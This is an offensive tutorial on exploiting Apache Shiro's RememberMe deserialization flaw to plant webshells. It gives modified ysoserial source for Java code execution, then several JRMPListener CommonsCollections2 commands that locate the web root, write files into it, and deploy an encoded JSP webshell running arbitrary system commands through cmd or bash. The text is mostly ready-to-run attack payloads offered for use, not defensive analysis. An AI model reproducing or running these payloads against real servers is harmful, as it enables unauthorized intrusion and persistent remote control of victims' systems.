Exploiting Shiro RememberMe Deserialization for Webshell Creation
Modifying ysoserial for Java Code Execution Payloads
The default implementation in ysoserial can be enhanced to support direct Java code execution. Below is the modified code that checks if the command parameter starts with "code:" to determine whether to execute a system command or Java code directly:
String executionCode = "";
if(!command.startsWith("code:")) {
executionCode = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
} else {
System.err.println("Java Code Mode: " + command.substring(5));
executionCode = command.substring(5);
}
After making these modifications, recompile ysoserial using Maven to generate the updated JAR file.
Discovering Web Application Path
To exploit the vulnerability, first determine the web application's root path by executing the following payload:
java -cp ys.jar ysoserial.exploit.JRMPListener 65005 CommonsCollections2 "code:String appPath = Thread.currentThread().getContextClassLoader().getResource(\"../../\").getPath();String targetFile = appPath + \"/path_info.txt\";java.io.FileOutputStream fos = new java.io.FileOutputStream(targetFile);java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos);osw.write(appPath);osw.close();"
Writing Files to Web Directory
Once the path is identified, you can write files to the web directory using a similar payload structure:
java -cp ys.jar ysoserial.exploit.JRMPListener 65005 CommonsCollections2 "code:String appPath = Thread.currentThread().getContextClassLoader().getResource(\"../../\").getPath();String targetFile = appPath + \"/web_directory_info.txt\";java.io.FileOutputStream fos = new java.io.FileOutputStream(targetFile);java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos);osw.write(appPath);osw.close();"
Deploying a Webshell
To deploy a functional webshell, encode your malicious JSP code in Base64 and use the following payload:
java -cp ys.jar ysoserial.exploit.JRMPListener 65005 CommonsCollections2 "code:String appPath = Thread.currentThread().getContextClassLoader().getResource(\"../../\").getPath();String shellPath = appPath + \"/malicious.jsp\";String encodedShell = \"\";org.apache.commons.codec.binary.Base64 decoder = new org.apache.commons.codec.binary.Base64();String decodedShell = new String(decoder.decodeBase64(encodedShell.getBytes()));String finalShell = java.net.URLDecoder.decode(decodedShell, \"UTF-8\");java.io.FileOutputStream fos = new java.io.FileOutputStream(shellPath);java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos);osw.write(finalShell);osw.close();"
Creating a Command Execution Webshell
For a more powerful shell, deploy a command execution webshell. The following example creates a JSP shell that can execute system commands:
java -cp ys.jar ysoserial.exploit.JRMPListener 65005 CommonsCollections2 "code:String appPath = Thread.currentThread().getContextClassLoader().getResource(\"../../\").getPath();String shellPath = appPath + \"/cmd_shell.jsp\";String encodedShell = \"JTNDJTI1QCUyMHBhZ2UlMjBwYWdlRW5jb2RpbmclM0QlMjJ1dGYtOCUyMiUyNSUzRSUwQSUzQyUyNUAlMjBwYWdlJTIwaW1wb3J0JTNEJTIyamF2YS51dGlsLlNjYW5uZXIlMjIlMjAlMjUlM0UlMEElM0NIVE1MJTNFJTBBJTNDdGl0bGUlM0VKdXN0JTIwRm9yJTIwRnVuJTNDL3RpdGxlJTNFJTBBJTNDQk9EWSUzRSUwQSUzQ0gzJTNFQnVpbGQlMjBCeSUyMExhbmRHcmV5JTNDL0gzJTNFJTBBJTNDRk9STSUyME1FVEhPRCUzRCUyMlBPU1QlMjIlMjBOQU1FJTNEJTIyZm9ybSUyMiUyMEFDVElPTiUzRCUyMiUyMyUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ0lOUFVUJTIwVFlQRSUzRCUyMnRleHQlMjIlMjBOQU1FJTNEJTIycSUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ0lOUFVUJTIwVFlQRSUzRCUyMnN1Ym1pdCUyMiUyMFZBTFVFJTNEJTIyRmx5JTIyJTNFJTBBJTNDL0ZPUk0lM0UlMEElMEElM0MlMjUlMEElMjAlMjAlMjAlMjBTdHJpbmclMjBvcCUzRCUyMkdvdCUyME5vdGhpbmclMjIlM0IlMEElMjAlMjAlMjAlMjBTdHJpbmclMjBxdWVyeSUyMCUzRCUyMHJlcXVlc3QuZ2V0UGFyYW1ldGVyJTI4JTIycSUyMiUyOSUzQiUwQSUyMCUyMCUyMCUyMFN0cmluZyUyMGZpbGVTZXBhcmF0b3IlMjAlM0QlMjBTdHJpbmcudmFsdWVPZiUyOGphdmEuaW8uRmlsZS5zZXBhcmF0b3JDaGFyJTI5JTNCJTBBJTIwJTIwJTIwJTIwQm9vbGVhbiUyMGlzV2luJTNCJTBBJTIwJTIwJTIwJTIwaWYlMjhmaWxlU2VwYXJhdG9yLmVxdWFscyUyOCUyMiU1QyU1QyUyMiUyOSUyOSU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlzV2luJTIwJTNEJTIwdHJ1ZSUzQiUwQSUyMCUyMCUyMCUyMC3RGVsc2UlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpc1dpbiUyMCUzRCUyMGZhbHNlJTNCJTBBJTIwJTIwJTIwJTIwJTdEJTBBJTBBJTIwJTIwJTIwJTIwaWYlMjAlMjhxdWVyeSUyMCUyMSUzRCUyMG51bGwlMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBQcm9jZXNzQnVpbGRlciUyMHBiJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjhpc1dpbiUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBiJTIwJTNEJTIwbmV3JTIwUHJvY2Vzc0J1aWxkZXIlMjhuZXclMjBTdHJpbmclMjhuZXclMjBieXRlJTVCJTVEJTdCOTklMkMlMjAxMDklMkMlMjAxMDAlN0QlMjklMkMlMjBuZXclMjBTdHJpbmclMjhuZXclMjBieXRlJTVCJTVEJTdCNDclMkMlMjA2NyU3RCUyOSUyQyUyMHF1ZXJ5JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEZWxzZSU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBiJTIwJTNEJTIwbmV3JTIwUHJvY2Vzc0J1aWxkZXIlMjhuZXclMjBTdHJpbmclMjhuZXclMjBieXRlJTVCJTVEJTdCNDclMkMlMjA5OCUyQyUyMDEwNSUyQyUyMDExMCUyQyUyMDQ3JTJDJTIwOTglMkMlMjA5NyUyQyUyMDExNSUyQyUyMDEwNCU3RCUyOSUyQyUyMG5ldyUyMFN0cmluZyUyOG5ldyUyMGJ5dGUlNUIlNUQlN0I0NSUyQyUyMDk5JTdEJTI5JTJDJTIwcXVlcnklMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBQcm9jZXNzJTIwcHJvY2VzcyUyMCUzRCUyMHBiLnN0YXJ0JTI4JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwU2Nhbm5lciUyMHNjJTIwJTNEJTIwbmV3JTIwU2Nhbm5lciUyOHByb2Nlc3MuZ2V0SW5wdXRTdHJlYW0lMjglMjklMjkudXNlRGVsaW1pdGVyJTI4JTIyJTVDJTVDQSUyMiUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMG9wJTIwJTNEJTIwc2MuaGFzTmV4dCUyOCUyOSUyMCUzRiUyMHNjLm5leHQlMjglMjklMjAlM0ElMjBvcCUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHNjLmNsb3NlJTI4JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTdEJTBBJTUlM0UlMEElM0MvUFJFJTNFJTBBJTIwJTIwJTIwJTIwJTNDJTI1JTNEJTIwb3AlMjAlMjUlM0UlM0UlMEElM0MvUFJFJTNFJTBBJTNDL0JPRFklM0UlMEElM0MvSFRNTCUzRQ==\";org.apache.commons.codec.binary.Base64 decoder = new org.apache.commons.codec.binary.Base64();String decodedShell = new String(decoder.decodeBase64(encodedShell.getBytes()));String finalShell = java.net.URLDecoder.decode(decodedShell, \"UTF-8\");java.io.FileOutputStream fos = new java.io.FileOutputStream(shellPath);java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos);osw.write(finalShell);osw.close();"